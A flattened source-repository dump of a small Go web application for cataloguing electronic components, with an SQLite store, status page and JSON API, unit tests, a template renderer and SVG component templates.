font-weight:bold; 11 | } 12 | .deseltab { 13 | background-color:#dddddd; 14 | padding: 2px 30px; 15 | border-radius:8px; 16 | text-decoration: none; 17 | font-weight:bold; 18 | } 19 | 20 | /** Status display related styles, needed in various places **/ 21 | .empty { 22 | background-image: url("/static/empty-box.png"); 23 | background-position:center; 24 | background-repeat: no-repeat; 25 | background-color: #eeeeee; 26 | } 27 | .mystery { 28 | background-image: url("/static/mystery.png"); 29 | background-position:center; 30 | background-repeat: no-repeat; 31 | background-color: #eeeeee; 32 | } 33 | .missing { 34 | background-color: #eeeeee; 35 | } 36 | .poor { 37 | background-color: #ff8888; 38 | } 39 | .fair { 40 | background-color: #ffff88; 41 | } 42 | .good { 43 | background-color: #88ff88; 44 | } 45 | -------------------------------------------------------------------------------- /stuff/static/white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/white.png -------------------------------------------------------------------------------- /stuff/status-handler.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "net/http" 7 | "os" 8 | "strconv" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | const ( 14 | kStatusPage = "/status" 15 | kApiStatus = "/api/status" 16 | kApiStatusDefaultOffset = 0 17 | kApiStatusDefaultLimit = 100 18 | ) 19 | 20 | type StatusHandler struct { 21 | store StuffStore 22 | template *TemplateRenderer 23 | imgPath string 24 | } 25 | 26 | func AddStatusHandler(store StuffStore, template *TemplateRenderer, imgPath string) { 27 | handler := &StatusHandler{ 28 | store: store, 29 | template: template, 30 | imgPath: imgPath, 31 | } 32 | http.Handle(kStatusPage, handler) 33 | http.Handle(kApiStatus, handler) 34 | } 35 | 36 | type StatusItem struct { 37 | Number int `json:"number"` 38 | Status string `json:"status"` 39 | Separator int `json:"separator,omitempty"` 40 | HasPicture bool `json:"haspicture"` 41 | } 42 | type StatusPage struct { 43 | Items []StatusItem 44 | } 45 | 46 | type JsonStatus struct { 47 | StatusItem 48 | } 49 | type JsonApiStatusResult struct { 50 | Directlink string `json:"link"` 51 | Offset int `json:"offset"` 52 | Limit int `json:"limit"` 53 | Items []JsonStatus `json:"status"` 54 | } 55 | 56 | func fillStatusItem(store StuffStore, imageDir string, id int, item *StatusItem) { 57 | comp := store.FindById(id) 58 | item.Number = id 59 | if comp != nil { 60 | // Ad-hoc categorization... 61 | count := 0 62 | if comp.Category != "" { 63 | count++ 64 | } 65 | if comp.Value != "" { 66 | count++ 67 | } 68 | // Description should be set. But for simple things such 69 | // as resistors or capacitors, we see just one value 70 | // to be sufficient. Totally hacky classification :) 71 | if comp.Description != "" || 72 | (comp.Category == "Resistor" && comp.Value != "") || 73 | (comp.Category == "Capacitor (C)" && comp.Value != "") { 74 | count++ 75 | } 76 | switch count { 77 | case 0: 78 | item.Status = "missing" 79 | case 1: 80 | item.Status = "poor" 81 | case 2: 82 | item.Status = "fair" 83 | case 3: 84 | item.Status = "good" 85 | } 86 | if strings.Contains(strings.ToLower(comp.Value), "empty") || 87 | strings.Contains(strings.ToLower(comp.Category), "empty") { 88 | item.Status = "empty" 89 | } 90 | if strings.Contains(strings.ToLower(comp.Category), "mystery") || 91 | strings.Contains(comp.Value, "?") { 92 | item.Status = "mystery" 93 | } 94 | } else { 95 | item.Status = "missing" 96 | } 97 | if _, err := os.Stat(fmt.Sprintf("%s/%d.jpg", imageDir, id)); err == nil { 98 | item.HasPicture = true 99 | } 100 | 101 | } 102 | 103 | func (h *StatusHandler) ServeHTTP(out http.ResponseWriter, req *http.Request) { 104 | if strings.HasPrefix(req.URL.Path, kApiStatus) { 105 | h.apiStatus(out, req) 106 | } else { 107 | current_edit_id := -1 108 | if cookie, err := req.Cookie("last-edit"); err == nil { 109 | current_edit_id, _ = strconv.Atoi(cookie.Value) 110 | } 111 | defer ElapsedPrint("Show status", time.Now()) 112 | out.Header().Set("Content-Type", "text/html; charset=utf-8") 113 | maxStatus := 2100 114 | page := &StatusPage{ 115 | Items: make([]StatusItem, maxStatus), 116 | } 117 | for i := 0; i < maxStatus; i++ { 118 | fillStatusItem(h.store, h.imgPath, i, &page.Items[i]) 119 | // Zero is a special case that we handle differently in template. 120 | if i > 0 { 121 | if i%100 == 0 { 122 | page.Items[i].Separator = 2 123 | } else if i%10 == 0 { 124 | page.Items[i].Separator = 1 125 | } 126 | } 127 | if i == current_edit_id { 128 | page.Items[i].Status = page.Items[i].Status + " selstatus" 129 | } 130 | 131 | } 132 | h.template.Render(out, "status-table.html", page) 133 | } 134 | } 135 | 136 | // Similarly to the Search API, gather the status data and present it in an JSON endpoint. 137 | func (h *StatusHandler) apiStatus(out http.ResponseWriter, r *http.Request) { 138 | rawOffset := r.FormValue("offset") 139 | rawLimit := r.FormValue("limit") 140 | offset := kApiStatusDefaultOffset 141 | limit := kApiStatusDefaultLimit 142 | maxStatus := 2100 143 | 144 | // Input validation, restrict inputs from 0 to maxStatus 145 | if rawOffset != "" { 146 | parsed_offset, err := strconv.Atoi(rawOffset) 147 | if err != nil || parsed_offset < 0 { 148 | offset = kApiStatusDefaultOffset 149 | } else { 150 | offset = parsed_offset 151 | } 152 | } 153 | if rawLimit != "" { 154 | parsed_limit, err := strconv.Atoi(rawLimit) 155 | if err != nil || parsed_limit < 0 { 156 | limit = kApiStatusDefaultLimit 157 | } else { 158 | limit = parsed_limit 159 | } 160 | } 161 | if offset+limit > maxStatus { 162 | offset, limit = 0, maxStatus 163 | } 164 | 165 | out.Header().Set("Cache-Control", "max-age=10") 166 | out.Header().Set("Content-Type", "application/json") 167 | 168 | page := &StatusPage{ 169 | Items: make([]StatusItem, limit), 170 | } 171 | 172 | for i := offset; i < offset+limit; i++ { 173 | fillStatusItem(h.store, h.imgPath, i, &page.Items[i-offset]) 174 | } 175 | 176 | jsonResult := &JsonApiStatusResult{ 177 | Directlink: encodeUriComponent(fmt.Sprintf("/status?offset=%d&limit=%d", offset, limit)), 178 | Offset: offset, 179 | Limit: limit, 180 | Items: make([]JsonStatus, limit), 181 | } 182 | 183 | for i := 0; i < limit; i++ { 184 | jsonResult.Items[i].StatusItem = page.Items[i] 185 | } 186 | 187 | json, _ := json.MarshalIndent(jsonResult, "", " ") 188 | out.Write(json) 189 | } 190 | -------------------------------------------------------------------------------- /stuff/stuff-store-interface.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | type Component struct { 4 | Id int `json:"id"` 5 | Equiv_set int `json:"equiv_set,omitempty"` 6 | Value string `json:"value"` 7 | Category string `json:"category"` 8 | Description string `json:"description"` 9 | Quantity string `json:"quantity"` // at this point just a string. 10 | Notes string `json:"notes,omitempty"` 11 | Datasheet_url string `json:"datasheet_url,omitempty"` 12 | Drawersize int `json:"drawersize,omitempty"` 13 | Footprint string `json:"footprint,omitempty"` 14 | } 15 | 16 | // Modify a user pointer. Returns 'true' if the changes should be commited. 17 | type ModifyFun func(comp *Component) bool 18 | 19 | // Interface to our storage backend. 20 | type StuffStore interface { 21 | // Find a component by its ID. Returns nil if it does not exist. Don't 22 | // modify the returned pointer. 23 | FindById(id int) *Component 24 | 25 | // Edit record of given ID. If ID is new, it is inserted and an empty 26 | // record returned to be edited. 27 | // Returns if record has been saved, possibly with message. 28 | // This does _not_ influence the equivalence set settings, use 29 | // the JoinSet()/LeaveSet() functions for that. 30 | EditRecord(id int, updater ModifyFun) (bool, string) 31 | 32 | // Have component with id join set with given ID. 33 | JoinSet(id int, equiv_set int) 34 | 35 | // Leave any set we are in and go back to the default set 36 | // (which is equiv_set == id) 37 | LeaveSet(id int) 38 | 39 | // Get possible matching components of given component, 40 | // including all the components that are in the sets the matches 41 | // are in. 42 | // Ordered by equivalence set, id. 43 | MatchingEquivSetForComponent(component int) []*Component 44 | 45 | // Given a search term, returns all the components that match, ordered 46 | // by some internal scoring system. Don't modify the returned objects! 47 | Search(search_term string) *SearchResult 48 | 49 | // Iterate through all elements. 50 | IterateAll(func(comp *Component) bool) 51 | } 52 | -------------------------------------------------------------------------------- /stuff/stuff-store-sqlite.go: -------------------------------------------------------------------------------- 1 | // Implementation of the stuff-store-interface for sqlite 2 | package main 3 | 4 | import ( 5 | "database/sql" 6 | "encoding/json" 7 | "log" 8 | "time" 9 | ) 10 | 11 | // Initial phase: while collecting the raw information, a single flat table 12 | // is sufficient. 13 | var create_schema string = ` 14 | create table component ( 15 | id int constraint pk_component primary key, 16 | equiv_set int not null, -- equivlennce set; points to lowest 17 | -- component in set. 18 | category varchar(40), -- should be some foreign key 19 | value varchar(80), -- identifying the component value 20 | description text, -- additional information 21 | notes text, -- user notes, can contain hashtags. 22 | datasheet_url text, -- data sheet URL if available 23 | vendor varchar(30), -- should be foreign key 24 | auto_notes text, -- auto generated notes, might aid in search 25 | footprint varchar(30), 26 | quantity varchar(5), -- Initially text to allow freeform e.g '< 50' 27 | drawersize int, -- 0=small, 1=medium, 2=large 28 | 29 | created timestamp, 30 | updated timestamp, 31 | 32 | -- also, we need the following eventually 33 | -- labeltext, drawer-type, location. Several of these should have foreign keys. 34 | 35 | foreign key(equiv_set) references component(id) 36 | ); 37 | ` 38 | 39 | func nullIfEmpty(s string) *string { 40 | if s == "" { 41 | return nil 42 | } else { 43 | return &s 44 | } 45 | } 46 | func emptyIfNull(s *string) string { 47 | if s == nil { 48 | return "" 49 | } else { 50 | return *s 51 | } 52 | } 53 | 54 | func row2Component(row *sql.Rows) (*Component, error) { 55 | type ReadRecord struct { 56 | id int 57 | equiv_set int 58 | category *string 59 | value *string 60 | description *string 61 | notes *string 62 | quantity *string 63 | datasheet *string 64 | drawersize *int 65 | footprint *string 66 | } 67 | rec := &ReadRecord{} 68 | err := row.Scan(&rec.id, &rec.category, &rec.value, 69 | &rec.description, &rec.notes, &rec.quantity, &rec.datasheet, 70 | &rec.drawersize, &rec.footprint, &rec.equiv_set) 71 | drawersize := 0 72 | if rec.drawersize != nil { 73 | drawersize = *rec.drawersize 74 | } 75 | switch { 76 | case err == sql.ErrNoRows: 77 | return nil, nil // no rows are ok error. 78 | case err != nil: 79 | log.Fatal(err) 80 | default: 81 | result := &Component{ 82 | Id: rec.id, 83 | Equiv_set: rec.equiv_set, 84 | Category: emptyIfNull(rec.category), 85 | Value: emptyIfNull(rec.value), 86 | Description: emptyIfNull(rec.description), 87 | Notes: emptyIfNull(rec.notes), 88 | Quantity: emptyIfNull(rec.quantity), 89 | Datasheet_url: emptyIfNull(rec.datasheet), 90 | Drawersize: drawersize, 91 | Footprint: emptyIfNull(rec.footprint), 92 | } 93 | return result, nil 94 | } 95 | return nil, nil 96 | } 97 | 98 | type SqlStuffStore struct { 99 | db *sql.DB 100 | findById *sql.Stmt 101 | insertRecord *sql.Stmt 102 | updateRecord *sql.Stmt 103 | joinSet *sql.Stmt 104 | leaveSet *sql.Stmt 105 | findEquivById *sql.Stmt 106 | selectAll *sql.Stmt 107 | fts *FulltextSearch 108 | } 109 | 110 | func NewSqlStuffStore(db *sql.DB, create_tables bool) (*SqlStuffStore, error) { 111 | if create_tables { 112 | _, err := db.Exec(create_schema) 113 | if err != nil { 114 | log.Fatal(err) 115 | } 116 | } 117 | // All the fields in a component. 118 | all_fields := "category, value, description, notes, quantity, datasheet_url,drawersize,footprint,equiv_set" 119 | findById, err := db.Prepare("SELECT id, " + all_fields + " FROM component where id=$1") 120 | if err != nil { 121 | return nil, err 122 | } 123 | 124 | // For writing a component, we need insert and update. In the full 125 | // component update, we explicitly do not want to update the 126 | // membership to the set, so we don't touch these fields. 127 | insertRecord, err := db.Prepare("INSERT INTO component (id, created, updated, " + all_fields + ") " + 128 | " VALUES (?1, ?2, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?1)") 129 | if err != nil { 130 | return nil, err 131 | } 132 | updateRecord, err := db.Prepare("UPDATE component SET " + 133 | "updated=?2, category=?3, value=?4, description=?5, notes=?6, quantity=?7, datasheet_url=?8, drawersize=?9, footprint=?10 WHERE id=?1") 134 | if err != nil { 135 | return nil, err 136 | } 137 | 138 | // Statements for set operations. 139 | joinSet, err := db.Prepare("UPDATE component SET equiv_set = MIN(?1, ?2) WHERE equiv_set = ?2 OR id = ?1") 140 | if err != nil { 141 | return nil, err 142 | } 143 | 144 | leaveSet, err := db.Prepare("UPDATE component SET equiv_set = CASE WHEN id = ?1 THEN ?1 ELSE (select min(id) from component where equiv_set = ?2 and id != ?1) end where equiv_set = ?2") 145 | if err != nil { 146 | return nil, err 147 | } 148 | 149 | // We want all articles that match the same (category, name), but also 150 | // all that are in the sets that are covered in any set the matching 151 | // components are in. 152 | // Todo: maybe in-memory and more lenient way to match values 153 | findEquivById, err := db.Prepare(` 154 | SELECT id, ` + all_fields + ` FROM component where equiv_set in 155 | (select c2.equiv_set from component c1, component c2 156 | where lower(c1.value) = lower(c2.value) 157 | and c1.category = c2.category and c1.id = ?1) 158 | ORDER BY equiv_set, id`) 159 | if err != nil { 160 | return nil, err 161 | } 162 | 163 | selectAll, err := db.Prepare("SELECT id, " + all_fields + " FROM component ORDER BY id") 164 | if err != nil { 165 | return nil, err 166 | } 167 | // Populate fts with existing components. 168 | fts := NewFulltextSearch() 169 | rows, _ := selectAll.Query() 170 | count := 0 171 | for rows != nil && rows.Next() { 172 | c, _ := row2Component(rows) 173 | fts.Update(c) 174 | count++ 175 | } 176 | rows.Close() 177 | 178 | log.Printf("Prepopulated full text search with %d items", count) 179 | return &SqlStuffStore{ 180 | db: db, 181 | findById: findById, 182 | insertRecord: insertRecord, 183 | updateRecord: updateRecord, 184 | joinSet: joinSet, 185 | leaveSet: leaveSet, 186 | findEquivById: findEquivById, 187 | selectAll: selectAll, 188 | fts: fts}, nil 189 | } 190 | 191 | func (d *SqlStuffStore) FindById(id int) *Component { 192 | rows, _ := d.findById.Query(id) 193 | if rows != nil { 194 | defer rows.Close() 195 | if rows.Next() { 196 | c, _ := row2Component(rows) 197 | return c 198 | } 199 | } 200 | return nil 201 | } 202 | 203 | func (d *SqlStuffStore) IterateAll(callback func(comp *Component) bool) { 204 | rows, _ := d.selectAll.Query() 205 | for rows != nil && rows.Next() { 206 | c, _ := row2Component(rows) 207 | if !callback(c) { 208 | break 209 | } 210 | } 211 | rows.Close() 212 | } 213 | 214 | func (d *SqlStuffStore) EditRecord(id int, update ModifyFun) (bool, string) { 215 | needsInsert := false 216 | rec := d.FindById(id) 217 | if rec == nil { 218 | needsInsert = true 219 | rec = &Component{Id: id} 220 | } 221 | before := *rec 222 | if update(rec) { 223 | if rec.Id != id { 224 | return false, "ID was modified." 225 | } 226 | // We're not in the business in modifying this. 227 | rec.Equiv_set = before.Equiv_set 228 | 229 | if *rec == before { 230 | return false, "No change." 231 | } 232 | var err error 233 | 234 | var toExec *sql.Stmt 235 | if needsInsert { 236 | toExec = d.insertRecord 237 | } else { 238 | toExec = d.updateRecord 239 | } 240 | result, err := toExec.Exec(id, time.Now(), 241 | nullIfEmpty(rec.Category), nullIfEmpty(rec.Value), 242 | nullIfEmpty(rec.Description), nullIfEmpty(rec.Notes), 243 | nullIfEmpty(rec.Quantity), nullIfEmpty(rec.Datasheet_url), 244 | rec.Drawersize, rec.Footprint) 245 | 246 | if err != nil { 247 | log.Printf("Oops: %s", err) 248 | return false, err.Error() 249 | } 250 | affected, _ := result.RowsAffected() 251 | if affected != 1 { 252 | log.Printf("Oops, expected 1 row to update but was %d", affected) 253 | return false, "ERR: not updated" 254 | } 255 | d.fts.Update(rec) 256 | 257 | json, _ := json.Marshal(rec) 258 | log.Printf("STORE %s", json) 259 | 260 | return true, "" 261 | } 262 | return false, "" 263 | } 264 | 265 | func (d *SqlStuffStore) JoinSet(id int, set int) { 266 | d.LeaveSet(id) // precondition. 267 | _, err := d.joinSet.Exec(id, set) 268 | if err != nil { 269 | log.Printf("Best effort JoinSet() fail: %v.", err) 270 | } 271 | } 272 | 273 | func (d *SqlStuffStore) LeaveSet(id int) { 274 | // The limited way SQLite works, we have to find the equivalence 275 | // set first before we can update. Not really efficient, and we 276 | // would need a transaction here, but, yeah, good enough for a 277 | // 0.001 qps service :) 278 | c := d.FindById(id) 279 | if c != nil { 280 | _, err := d.leaveSet.Exec(id, c.Equiv_set) 281 | if err != nil { 282 | log.Printf("Best effort LeaveSet() fail: %v.", err) 283 | } 284 | } 285 | } 286 | 287 | func (d *SqlStuffStore) MatchingEquivSetForComponent(id int) []*Component { 288 | result := make([]*Component, 0, 10) 289 | rows, _ := d.findEquivById.Query(id) 290 | for rows != nil && rows.Next() { 291 | c, _ := row2Component(rows) 292 | result = append(result, c) 293 | } 294 | rows.Close() 295 | return result 296 | } 297 | 298 | func (d *SqlStuffStore) Search(search_term string) *SearchResult { 299 | return d.fts.Search(search_term) 300 | } 301 | -------------------------------------------------------------------------------- /stuff/stuff-store-sqlite_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | _ "github.com/mattn/go-sqlite3" 7 | "log" 8 | "os" 9 | "syscall" 10 | "testing" 11 | ) 12 | 13 | func ExpectTrue(t *testing.T, condition bool, message string) { 14 | if !condition { 15 | t.Errorf("Expected to succeed, but didn't: %s", message) 16 | } 17 | } 18 | 19 | func TestBasicStore(t *testing.T) { 20 | dbfile, _ := os.CreateTemp("", "basic-store") 21 | defer syscall.Unlink(dbfile.Name()) 22 | db, err := sql.Open("sqlite3", dbfile.Name()) 23 | if err != nil { 24 | log.Fatal(err) 25 | } 26 | store, _ := NewSqlStuffStore(db, true) 27 | 28 | ExpectTrue(t, store.FindById(1) == nil, "Expected id:1 not to exist.") 29 | 30 | // Create record 1, set description 31 | store.EditRecord(1, func(c *Component) bool { 32 | c.Description = "foo" 33 | return true 34 | }) 35 | 36 | ExpectTrue(t, store.FindById(1) != nil, "Expected id:1 to exist now.") 37 | 38 | // Edit it, but decide not to proceed 39 | store.EditRecord(1, func(c *Component) bool { 40 | ExpectTrue(t, c.Description == "foo", "Initial value set") 41 | c.Description = "bar" 42 | return false // don't commit 43 | }) 44 | ExpectTrue(t, store.FindById(1).Description == "foo", "Unchanged in second tx") 45 | 46 | // Now change it 47 | store.EditRecord(1, func(c *Component) bool { 48 | c.Description = "bar" 49 | return true 50 | }) 51 | ExpectTrue(t, store.FindById(1).Description == "bar", "Description change") 52 | } 53 | 54 | func TestJoinSets(t *testing.T) { 55 | dbfile, _ := os.CreateTemp("", "join-sets") 56 | defer syscall.Unlink(dbfile.Name()) 57 | db, err := sql.Open("sqlite3", dbfile.Name()) 58 | if err != nil { 59 | log.Fatal(err) 60 | } 61 | store, _ := NewSqlStuffStore(db, true) 62 | 63 | // Three components, each in their own equiv-class 64 | store.EditRecord(1, func(c *Component) bool { c.Value = "one"; return true }) 65 | store.EditRecord(2, func(c *Component) bool { c.Value = "two"; return true }) 66 | store.EditRecord(3, func(c *Component) bool { c.Value = "three"; return true }) 67 | 68 | // Expecting baseline. 69 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#1") 70 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#2") 71 | ExpectTrue(t, store.FindById(3).Equiv_set == 3, "#3") 72 | 73 | // Component 2 join set 3. Final equivalence-set is lowest 74 | // id of the result set. 75 | store.JoinSet(2, 3) 76 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#4") 77 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#5") 78 | ExpectTrue(t, store.FindById(3).Equiv_set == 2, "#6") 79 | 80 | // Break out article three out of this set. 81 | store.LeaveSet(3) 82 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#7") 83 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#8") 84 | ExpectTrue(t, store.FindById(3).Equiv_set == 3, "#9") 85 | 86 | // Join everything together. 87 | store.JoinSet(3, 1) 88 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#10") 89 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#11") 90 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#12") 91 | store.JoinSet(2, 1) 92 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#12") 93 | ExpectTrue(t, store.FindById(2).Equiv_set == 1, "#13") 94 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#14") 95 | 96 | // Lowest component leaving the set leaves the equivalence set 97 | // at the lowest of the remaining. 98 | store.LeaveSet(1) 99 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#15") 100 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#16") 101 | ExpectTrue(t, store.FindById(3).Equiv_set == 2, "#17") 102 | 103 | // If we add lowest again, then the new equiv-set is back to 1. 104 | store.JoinSet(1, 2) 105 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#18") 106 | ExpectTrue(t, store.FindById(2).Equiv_set == 1, "#19") 107 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#20") 108 | 109 | store.LeaveSet(2) 110 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#18") 111 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#19") 112 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#20") 113 | } 114 | 115 | func TestLeaveSetRegression(t *testing.T) { 116 | dbfile, _ := os.CreateTemp("", "join-sets") 117 | defer syscall.Unlink(dbfile.Name()) 118 | db, err := sql.Open("sqlite3", dbfile.Name()) 119 | if err != nil { 120 | log.Fatal(err) 121 | } 122 | store, _ := NewSqlStuffStore(db, true) 123 | 124 | // We store components in a slightly different 125 | // sequence. 126 | store.EditRecord(2, func(c *Component) bool { c.Value = "two"; return true }) 127 | store.EditRecord(1, func(c *Component) bool { c.Value = "one"; return true }) 128 | store.EditRecord(3, func(c *Component) bool { c.Value = "three"; return true }) 129 | 130 | store.JoinSet(2, 1) 131 | store.JoinSet(3, 1) 132 | 133 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#1") 134 | ExpectTrue(t, store.FindById(2).Equiv_set == 1, "#2") 135 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#3") 136 | 137 | // The way LeaveSet() was implemented, it used an SQL in a way that 138 | // SQLite didn't process correctly wrt. sequence of operations. 139 | store.LeaveSet(2) 140 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#4") 141 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#5") 142 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#6") 143 | } 144 | 145 | func TestQueryEquiv(t *testing.T) { 146 | dbfile, _ := os.CreateTemp("", "equiv-query") 147 | defer syscall.Unlink(dbfile.Name()) 148 | db, err := sql.Open("sqlite3", dbfile.Name()) 149 | if err != nil { 150 | log.Fatal(err) 151 | } 152 | store, _ := NewSqlStuffStore(db, true) 153 | 154 | // Three components, each in their own equiv-class 155 | store.EditRecord(1, func(c *Component) bool { 156 | c.Value = "10k" 157 | c.Category = "Resist" 158 | return true 159 | }) 160 | store.EditRecord(2, func(c *Component) bool { 161 | c.Value = "foo" 162 | c.Category = "Resist" 163 | return true 164 | }) 165 | store.EditRecord(3, func(c *Component) bool { 166 | c.Value = "three" 167 | c.Category = "Resist" 168 | return true 169 | }) 170 | store.EditRecord(4, func(c *Component) bool { 171 | c.Value = "10K" // different case, but should work 172 | c.Category = "Resist" 173 | return true 174 | }) 175 | 176 | matching := store.MatchingEquivSetForComponent(1) 177 | ExpectTrue(t, len(matching) == 2, fmt.Sprintf("Expected 2 10k, got %d", len(matching))) 178 | ExpectTrue(t, matching[0].Id == 1, "#1") 179 | ExpectTrue(t, matching[1].Id == 4, "#2") 180 | 181 | // Add one component to the set one is in. Even though it does not 182 | // match the value name, it should show up in the result 183 | store.JoinSet(2, 1) 184 | matching = store.MatchingEquivSetForComponent(1) 185 | ExpectTrue(t, len(matching) == 3, fmt.Sprintf("Expected 3 got %d", len(matching))) 186 | ExpectTrue(t, matching[0].Id == 1, "#10") 187 | ExpectTrue(t, matching[1].Id == 2, "#11") 188 | ExpectTrue(t, matching[2].Id == 4, "#12") 189 | } 190 | -------------------------------------------------------------------------------- /stuff/template-renderer.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "html/template" 5 | "io" 6 | "log" 7 | "net/http" 8 | "strings" 9 | ) 10 | 11 | type TemplateRenderer struct { 12 | baseDir string 13 | cachedTemplates *template.Template 14 | doCache bool 15 | } 16 | 17 | func NewTemplateRenderer(baseDir string, doCache bool) *TemplateRenderer { 18 | result := &TemplateRenderer{ 19 | baseDir: baseDir, 20 | doCache: doCache, 21 | } 22 | if doCache { 23 | // Ideally, we would like to register these later in the 24 | // handlers, but looks like we need to do that in one bunch. 25 | // So, TODO: wait until everything is registered, then 26 | // do the registration. Lazy for now. 27 | result.cachedTemplates = template.Must(template.ParseFiles( 28 | // Application templates 29 | baseDir+"/form-template.html", 30 | baseDir+"/display-template.html", 31 | baseDir+"/status-table.html", 32 | baseDir+"/set-drag-drop.html", 33 | // Templates to create component images 34 | baseDir+"/component/category-Diode.svg", 35 | baseDir+"/component/category-LED.svg", 36 | baseDir+"/component/category-Capacitor.svg", 37 | // Value rendering of resistors 38 | baseDir+"/component/4-Band_Resistor.svg", 39 | baseDir+"/component/5-Band_Resistor.svg", 40 | // Some common packages 41 | baseDir+"/component/package-TO-39.svg", 42 | baseDir+"/component/package-TO-220.svg", 43 | baseDir+"/component/package-DIP-14.svg", 44 | baseDir+"/component/package-DIP-16.svg", 45 | baseDir+"/component/package-DIP-28.svg")) 46 | } 47 | return result 48 | } 49 | 50 | func setContentTypeFromTemplateName(template_name string, header http.Header) { 51 | switch { 52 | case strings.HasSuffix(template_name, ".svg"): 53 | header.Set("Content-Type", "image/svg+xml;charset=utf-8") 54 | default: 55 | header.Set("Content-Type", "text/html; charset=utf-8") 56 | } 57 | } 58 | 59 | func (h *TemplateRenderer) Render(w http.ResponseWriter, template_name string, p interface{}) bool { 60 | return h.RenderWithHttpCode(w, w, http.StatusOK, template_name, p) 61 | } 62 | 63 | // for now, render templates directly to easier edit them. 64 | func (h *TemplateRenderer) RenderWithHttpCode(w http.ResponseWriter, output_writer io.Writer, http_code int, template_name string, p interface{}) bool { 65 | var err error 66 | var t *template.Template 67 | if output_writer == nil { 68 | output_writer = w 69 | } 70 | if h.doCache { 71 | t = h.cachedTemplates.Lookup(template_name) 72 | if t == nil { 73 | return false 74 | } 75 | setContentTypeFromTemplateName(template_name, w.Header()) 76 | w.WriteHeader(http_code) 77 | } else { 78 | t, err = template.ParseFiles(h.baseDir + "/" + template_name) 79 | if err != nil { 80 | t, err = template.ParseFiles(h.baseDir + "/component/" + template_name) 81 | if err != nil { 82 | log.Printf("%s: %s", template_name, err) 83 | return false 84 | } 85 | } 86 | setContentTypeFromTemplateName(template_name, w.Header()) 87 | w.WriteHeader(http_code) 88 | } 89 | err = t.Execute(output_writer, p) 90 | if err != nil { 91 | log.Printf("Template broken %s (%s)", template_name, err) 92 | return false 93 | } 94 | return true 95 | } 96 | -------------------------------------------------------------------------------- /stuff/template/component/4-Band_Resistor.svg: -------------------------------------------------------------------------------- 1 | 12 | 13 | 17 | 19 | 21 | 25 | 29 | 33 | 34 | 43 | 44 | 48 | 52 | 56 | 60 | 64 | 68 | 72 | 76 | 83 | 90 | {{.First.Digit}} 100 | {{.Second.Digit}} 110 | {{.Multiplier.Multiplier}} 119 | {{.Tolerance.Tolerance}} 128 | 132 | {{.Value}} 142 | 143 | -------------------------------------------------------------------------------- /stuff/template/component/5-Band_Resistor.svg: -------------------------------------------------------------------------------- 1 | 12 | 13 | 17 | 19 | 21 | 25 | 29 | 33 | 34 | 43 | 44 | 48 | 52 | 56 | 60 | 64 | 68 | 72 | 76 | 83 | 90 | {{.First.Digit}} 100 | {{.Second.Digit}} 110 | {{.Multiplier.Multiplier}} 119 | {{.Tolerance.Tolerance}} 128 | 132 | 136 | 140 | {{.Third.Digit}} 150 | {{.Value}} 160 | 161 | -------------------------------------------------------------------------------- /stuff/template/component/README: -------------------------------------------------------------------------------- 1 | Package-SVGs have been derived from the SVG components found 2 | in this project: 3 | 4 | http://www.sebulli.com/BlackBoard/Blackboard_incl_SVG_14Nov2012.zip 5 | 6 | Name the file so that it matches the canonicalized package name, with "package-" 7 | prefix and ".svg" suffix (e.g. "package-DIP-16.svg"). 8 | 9 | For DIP-packages, the size to 200x160 (easiest: manually in the header). 10 | Center the component in that area (easiest: with inkscape). With the size, 11 | we make sure, that the relative size of components is roughly 12 | (e.g. DIP-8, DIP-16, ...) is the same - otherwise the browser attempts to 13 | scale the images to the maximum available size. Other types of packages might 14 | have different base-sizes, try to set the size so that they look reasonable 15 | as well in browsers. 16 | 17 | After saving, mostly it is important to remove the header (very first 18 | line) as the go-template thing gets confused otherwise. 19 | 20 | Then search for the title and replace it with {{.Value}}. Or add a title 21 | in inkscape with this very string. 22 | 23 | These files are very big (the text representation), it might be worthwhile to 24 | explore minimizing these (less burden in the templating engine and on the 25 | wire - and possibly easier to render). 26 | -------------------------------------------------------------------------------- /stuff/template/component/category-Capacitor.svg: -------------------------------------------------------------------------------- 1 | 17 | 19 | 39 | 41 | 42 | 44 | image/svg+xml 45 | 47 | 48 | 49 | 50 | 55 | 58 | 64 | 70 | 76 | 82 | 83 | 84 | 85 | -------------------------------------------------------------------------------- /stuff/template/component/category-Diode.svg: -------------------------------------------------------------------------------- 1 | 16 | 18 | 38 | 40 | 41 | 43 | image/svg+xml 44 | 46 | 47 | 48 | 49 | 54 | 57 | 63 | 69 | 75 | 81 | 87 | 93 | 94 | 95 | 96 | -------------------------------------------------------------------------------- /stuff/template/component/category-LED.svg: -------------------------------------------------------------------------------- 1 | 17 | 19 | 39 | 41 | 42 | 44 | image/svg+xml 45 | 47 